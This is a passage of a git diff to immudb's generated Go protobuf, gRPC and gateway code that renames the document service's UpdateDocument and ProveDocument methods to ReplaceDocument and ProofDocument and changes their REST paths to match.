0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x76, - 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, + 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, - 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, - 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, - 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, - 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, - 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, - 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, - 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, - 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, + 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, + 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, + 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, + 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, + 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, + 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, + 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, + 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, + 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2459,8 +2459,8 @@ var file_documents_proto_goTypes = []interface{}{ (*DeleteIndexResponse)(nil), // 18: immudb.model.DeleteIndexResponse (*InsertDocumentsRequest)(nil), // 19: immudb.model.InsertDocumentsRequest (*InsertDocumentsResponse)(nil), // 20: immudb.model.InsertDocumentsResponse - (*UpdateDocumentRequest)(nil), // 21: immudb.model.UpdateDocumentRequest - (*UpdateDocumentResponse)(nil), // 22: immudb.model.UpdateDocumentResponse + (*ReplaceDocumentRequest)(nil), // 21: immudb.model.ReplaceDocumentRequest + (*ReplaceDocumentResponse)(nil), // 22: immudb.model.ReplaceDocumentResponse (*SearchDocumentsRequest)(nil), // 23: immudb.model.SearchDocumentsRequest (*Query)(nil), // 24: immudb.model.Query (*QueryExpression)(nil), // 25: immudb.model.QueryExpression @@ -2471,8 +2471,8 @@ var file_documents_proto_goTypes = []interface{}{ (*DocumentMetadata)(nil), // 30: immudb.model.DocumentMetadata (*AuditDocumentRequest)(nil), // 31: immudb.model.AuditDocumentRequest (*AuditDocumentResponse)(nil), // 32: immudb.model.AuditDocumentResponse - (*ProveDocumentRequest)(nil), // 33: immudb.model.ProveDocumentRequest - (*ProveDocumentResponse)(nil), // 34: immudb.model.ProveDocumentResponse + (*ProofDocumentRequest)(nil), // 33: immudb.model.ProofDocumentRequest + (*ProofDocumentResponse)(nil), // 34: immudb.model.ProofDocumentResponse (*DeleteDocumentsRequest)(nil), // 35: immudb.model.DeleteDocumentsRequest (*DeleteDocumentsResponse)(nil), // 36: immudb.model.DeleteDocumentsResponse (*structpb.Struct)(nil), // 37: google.protobuf.Struct @@ -2488,8 +2488,8 @@ var file_documents_proto_depIdxs = []int32{ 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.GetCollectionsResponse.collections:type_name -> immudb.model.Collection 37, // 7: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct - 24, // 8: immudb.model.UpdateDocumentRequest.query:type_name -> immudb.model.Query - 37, // 9: immudb.model.UpdateDocumentRequest.document:type_name -> google.protobuf.Struct + 24, // 8: immudb.model.ReplaceDocumentRequest.query:type_name -> immudb.model.Query + 37, // 9: immudb.model.ReplaceDocumentRequest.document:type_name -> google.protobuf.Struct 24, // 10: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query 25, // 11: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression 27, // 12: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause @@ -2500,7 +2500,7 @@ var file_documents_proto_depIdxs = []int32{ 30, // 17: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata 37, // 18: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct 29, // 19: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 39, // 20: immudb.model.ProveDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 39, // 20: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 24, // 21: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query 2, // 22: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest 6, // 23: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest @@ -2510,11 +2510,11 @@ var file_documents_proto_depIdxs = []int32{ 15, // 27: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest 17, // 28: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest 19, // 29: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest - 21, // 30: immudb.model.DocumentService.UpdateDocument:input_type -> immudb.model.UpdateDocumentRequest + 21, // 30: immudb.model.DocumentService.ReplaceDocument:input_type -> immudb.model.ReplaceDocumentRequest 35, // 31: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest 23, // 32: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest 31, // 33: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest - 33, // 34: immudb.model.DocumentService.ProveDocument:input_type -> immudb.model.ProveDocumentRequest + 33, // 34: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest 3, // 35: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse 7, // 36: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse 10, // 37: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse @@ -2523,11 +2523,11 @@ var file_documents_proto_depIdxs = []int32{ 16, // 40: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse 18, // 41: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse 20, // 42: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse - 22, // 43: immudb.model.DocumentService.UpdateDocument:output_type -> immudb.model.UpdateDocumentResponse + 22, // 43: immudb.model.DocumentService.ReplaceDocument:output_type -> immudb.model.ReplaceDocumentResponse 36, // 44: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse 28, // 45: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse 32, // 46: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse - 34, // 47: immudb.model.DocumentService.ProveDocument:output_type -> immudb.model.ProveDocumentResponse + 34, // 47: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse 35, // [35:48] is the sub-list for method output_type 22, // [22:35] is the sub-list for method input_type 22, // [22:22] is the sub-list for extension type_name @@ -2770,7 +2770,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UpdateDocumentRequest); i { + switch v := v.(*ReplaceDocumentRequest); i { case 0: return &v.state case 1: @@ -2782,7 +2782,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UpdateDocumentResponse); i { + switch v := v.(*ReplaceDocumentResponse); i { case 0: return &v.state case 1: @@ -2914,7 +2914,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ProveDocumentRequest); i { + switch v := v.(*ProofDocumentRequest); i { case 0: return &v.state case 1: @@ -2926,7 +2926,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ProveDocumentResponse); i { + switch v := v.(*ProofDocumentResponse); i { case 0: return &v.state case 1: diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index 36226be45a..67a94e2727 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -329,8 +329,8 @@ func local_request_DocumentService_InsertDocuments_0(ctx context.Context, marsha } -func request_DocumentService_UpdateDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq UpdateDocumentRequest +func request_DocumentService_ReplaceDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ReplaceDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -341,13 +341,13 @@ func request_DocumentService_UpdateDocument_0(ctx context.Context, marshaler run return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.UpdateDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.ReplaceDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_UpdateDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq UpdateDocumentRequest +func local_request_DocumentService_ReplaceDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ReplaceDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -358,7 +358,7 @@ func local_request_DocumentService_UpdateDocument_0(ctx context.Context, marshal return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.UpdateDocument(ctx, &protoReq) + msg, err := server.ReplaceDocument(ctx, &protoReq) return msg, metadata, err } @@ -465,8 +465,8 @@ func local_request_DocumentService_AuditDocument_0(ctx context.Context, marshale } -func request_DocumentService_ProveDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq ProveDocumentRequest +func request_DocumentService_ProofDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ProofDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -477,13 +477,13 @@ func request_DocumentService_ProveDocument_0(ctx context.Context, marshaler runt return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.ProveDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.ProofDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_ProveDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq ProveDocumentRequest +func local_request_DocumentService_ProofDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ProofDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -494,7 +494,7 @@ func local_request_DocumentService_ProveDocument_0(ctx context.Context, marshale return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.ProveDocument(ctx, &protoReq) + msg, err := server.ProofDocument(ctx, &protoReq) return msg, metadata, err } @@ -689,7 +689,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) - mux.Handle("PUT", pattern_DocumentService_UpdateDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_ReplaceDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -700,7 +700,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_UpdateDocument_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_ReplaceDocument_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -708,7 +708,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_UpdateDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_ReplaceDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -781,7 +781,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) - mux.Handle("POST", pattern_DocumentService_ProveDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_ProofDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -792,7 +792,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_ProveDocument_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_ProofDocument_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -800,7 +800,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_ProveDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_ProofDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -1005,7 +1005,7 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) - mux.Handle("PUT", pattern_DocumentService_UpdateDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_ReplaceDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1014,14 +1014,14 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_UpdateDocument_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_ReplaceDocument_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_UpdateDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_ReplaceDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -1085,7 +1085,7 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) - mux.Handle("POST", pattern_DocumentService_ProveDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_ProofDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1094,14 +1094,14 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_ProveDocument_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_ProofDocument_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_ProveDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_ProofDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -1125,7 +1125,7 @@ var ( pattern_DocumentService_InsertDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"documents"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_UpdateDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "update"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_ReplaceDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "replace"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DeleteDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "delete"}, "", runtime.AssumeColonVerbOpt(true))) @@ -1133,7 +1133,7 @@ var ( pattern_DocumentService_AuditDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "audit"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_ProveDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "prove"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_ProofDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "proof"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( @@ -1153,7 +1153,7 @@ var ( forward_DocumentService_InsertDocuments_0 = runtime.ForwardResponseMessage - forward_DocumentService_UpdateDocument_0 = runtime.ForwardResponseMessage + forward_DocumentService_ReplaceDocument_0 = runtime.ForwardResponseMessage forward_DocumentService_DeleteDocuments_0 = runtime.ForwardResponseMessage @@ -1161,5 +1161,5 @@ var ( forward_DocumentService_AuditDocument_0 = runtime.ForwardResponseMessage - forward_DocumentService_ProveDocument_0 = runtime.ForwardResponseMessage + forward_DocumentService_ProofDocument_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/protomodel/documents_grpc.pb.go b/pkg/api/protomodel/documents_grpc.pb.go index a62fc04adc..8d2fcffda6 100644 --- a/pkg/api/protomodel/documents_grpc.pb.go +++ b/pkg/api/protomodel/documents_grpc.pb.go @@ -26,11 +26,11 @@ type DocumentServiceClient interface { CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) DeleteIndex(ctx context.Context, in *DeleteIndexRequest, opts ...grpc.CallOption) (*DeleteIndexResponse, error) InsertDocuments(ctx context.Context, in *InsertDocumentsRequest, opts ...grpc.CallOption) (*InsertDocumentsResponse, error) - UpdateDocument(ctx context.Context, in *UpdateDocumentRequest, opts ...grpc.CallOption) (*UpdateDocumentResponse, error) + ReplaceDocument(ctx context.Context, in *ReplaceDocumentRequest, opts ...grpc.CallOption) (*ReplaceDocumentResponse, error) DeleteDocuments(ctx context.Context, in *DeleteDocumentsRequest, opts ...grpc.CallOption) (*DeleteDocumentsResponse, error) SearchDocuments(ctx context.Context, in *SearchDocumentsRequest, opts ...grpc.CallOption) (*SearchDocumentsResponse, error) AuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error) - ProveDocument(ctx context.Context, in *ProveDocumentRequest, opts ...grpc.CallOption) (*ProveDocumentResponse, error) + ProofDocument(ctx context.Context, in *ProofDocumentRequest, opts ...grpc.CallOption) (*ProofDocumentResponse, error) } type documentServiceClient struct { @@ -113,9 +113,9 @@ func (c *documentServiceClient) InsertDocuments(ctx context.Context, in *InsertD return out, nil } -func (c *documentServiceClient) UpdateDocument(ctx context.Context, in *UpdateDocumentRequest, opts ...grpc.CallOption) (*UpdateDocumentResponse, error) { - out := new(UpdateDocumentResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/UpdateDocument", in, out, opts...) +func (c *documentServiceClient) ReplaceDocument(ctx context.Context, in *ReplaceDocumentRequest, opts ...grpc.CallOption) (*ReplaceDocumentResponse, error) { + out := new(ReplaceDocumentResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/ReplaceDocument", in, out, opts...) if err != nil { return nil, err } @@ -149,9 +149,9 @@ func (c *documentServiceClient) AuditDocument(ctx context.Context, in *AuditDocu return out, nil } -func (c *documentServiceClient) ProveDocument(ctx context.Context, in *ProveDocumentRequest, opts ...grpc.CallOption) (*ProveDocumentResponse, error) { - out := new(ProveDocumentResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/ProveDocument", in, out, opts...) +func (c *documentServiceClient) ProofDocument(ctx context.Context, in *ProofDocumentRequest, opts ...grpc.CallOption) (*ProofDocumentResponse, error) { + out := new(ProofDocumentResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/ProofDocument", in, out, opts...) if err != nil { return nil, err } @@ -170,11 +170,11 @@ type DocumentServiceServer interface { CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) DeleteIndex(context.Context, *DeleteIndexRequest) (*DeleteIndexResponse, error) InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) - UpdateDocument(context.Context, *UpdateDocumentRequest) (*UpdateDocumentResponse, error) + ReplaceDocument(context.Context, *ReplaceDocumentRequest) (*ReplaceDocumentResponse, error) DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) SearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error) AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) - ProveDocument(context.Context, *ProveDocumentRequest) (*ProveDocumentResponse, error) + ProofDocument(context.Context, *ProofDocumentRequest) (*ProofDocumentResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. @@ -205,8 +205,8 @@ func (UnimplementedDocumentServiceServer) DeleteIndex(context.Context, *DeleteIn func (UnimplementedDocumentServiceServer) InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method InsertDocuments not implemented") } -func (UnimplementedDocumentServiceServer) UpdateDocument(context.Context, *UpdateDocumentRequest) (*UpdateDocumentResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method UpdateDocument not implemented") +func (UnimplementedDocumentServiceServer) ReplaceDocument(context.Context, *ReplaceDocumentRequest) (*ReplaceDocumentResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method ReplaceDocument not implemented") } func (UnimplementedDocumentServiceServer) DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteDocuments not implemented") @@ -217,8 +217,8 @@ func 